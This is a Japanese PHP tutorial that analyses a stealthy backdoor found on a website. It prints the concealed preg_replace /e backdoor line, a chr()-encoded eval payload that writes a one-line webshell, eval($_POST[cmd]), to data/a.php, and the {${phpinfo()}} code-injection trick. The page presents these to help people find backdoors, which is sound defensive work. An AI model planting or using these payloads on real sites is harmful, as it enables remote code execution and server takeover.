ホームページ >バックエンド開発 >PHPチュートリアル >比較的知られていない php の馬

比較的知られていない php の馬

WBOY
WBOYオリジナル
2016-06-13 12:31:291017ブラウズ

比較的隠れた php の馬

状況は次のとおりです。友人の Web サイトでさまざまなバックドア検索ツールを使用しましたが、PHP トロイの木馬は見つかりませんでした。シャオヘイの手口は非常に高度で、使用後は必ずバックドアを削除しますが、毎回侵入することはできますが、どこから入ったかがわかりません。これは本当に痛いです。

その後、分析を通じて、最終的にログからいくつかの手がかりを見つけました。IP が常に特定のファイルに奇妙なデータを投稿していることがわかりました。その後、しばらくして、この IP は非常に目立つ名前を持つ不可解なファイルにアクセスしました。これは明らかに通常のシステム ファイルではなく、PHP バックドアでした。しかし、バックドアは使用後すぐに削除されました。

ははは、シャオヘイは会うととても気を配ってくれます。

その後、分析により、Xiaohei がアクセスしたファイル検出コードが判明しました:

@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");

?

このコードが見えても問題ありませんが、これは Xiaohei によって隠された悪意のあるコードおよびバックドアです。隠されているため、基本的にはどのウイルス対策ソフトウェアでも検出できません。

preg_replace 関数プロトタイプ:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

?

特別な指示:

/e 修飾子により、preg_replace() は置換引数を PHP コードとして処理します (適切な後方参照が置換された後)。ヒント: 置換によって有効な PHP コード文字列が形成されていることを確認してください。そうでない場合、PHP は preg_replace() を含む行で構文解析エラーを報告します。

上記のコードは POST がデータを受け取るためのものであり、データを取得するために GET に置き換えるとテストが必要になります。 。 。

例:

echo preg_replace("/test/e",$_GET["h"],"jutst test");

?

?h=phpinfo() を送信すると、phpinfo() が実行されます (/e 修飾子を使用すると、preg_replace が置換パラメーターを PHP コードとして実行します)。

POST したい場合、次のコードをテスト送信するとどうなりますか?

?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr
(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr
(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr
(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr
(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

?

暗号文に対応する平文は次のとおりです:

fputs(fopen(data/a.php,w),);

実行結果は、/data/ ディレクトリに 1 文のトロイの木馬ファイル a.php を生成します。

これは恐ろしいですね。 。 。 。

もう 1 つの難しい例:

?

コードの印刷を表示しますか?

<? 
function test($str){
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]); 
?>

?

?h=[php]phpinfo()[/php] を送信すると、phpinfo() が実行されますか?

絶対に違います。通常のマッチングの後、置換パラメータは「test("phpinfo")」になり、現時点では phpinfo は文字列パラメータとしてのみ使用されるためです。

それを実行する方法はありますか?

もちろんです。ここで ?h=[php]{${phpinfo()}}[/php] を送信すると phpinfo() が実行されます。なぜ?

PHP では、二重引用符で囲まれた変数がある場合、PHP インタープリターはそれを変数解釈の結果に置き換えます。一重引用符で囲まれた変数は処理されません。

注: 二重引用符で囲まれた関数は実行されず、置換されません。

ここでは、関数を実行する効果を得るために、{${}} 'test("{${phpinfo()}}")' を通じて特別な変数を構築する必要があります (${phpinfo() }解釈されて実行されます)。

最初に次のテストを実行できます:

echo "{${phpinfo()}}"; phpinfo は正常に実行されます。

したがって、バックドアを探すときは注意してください。

OK、ここまで述べて理解したので、上に示したコードは次のとおりです。

@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");

?

一見普通のコードのように見えますが、実は非常に危険なコードであり、非常に隠されています

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。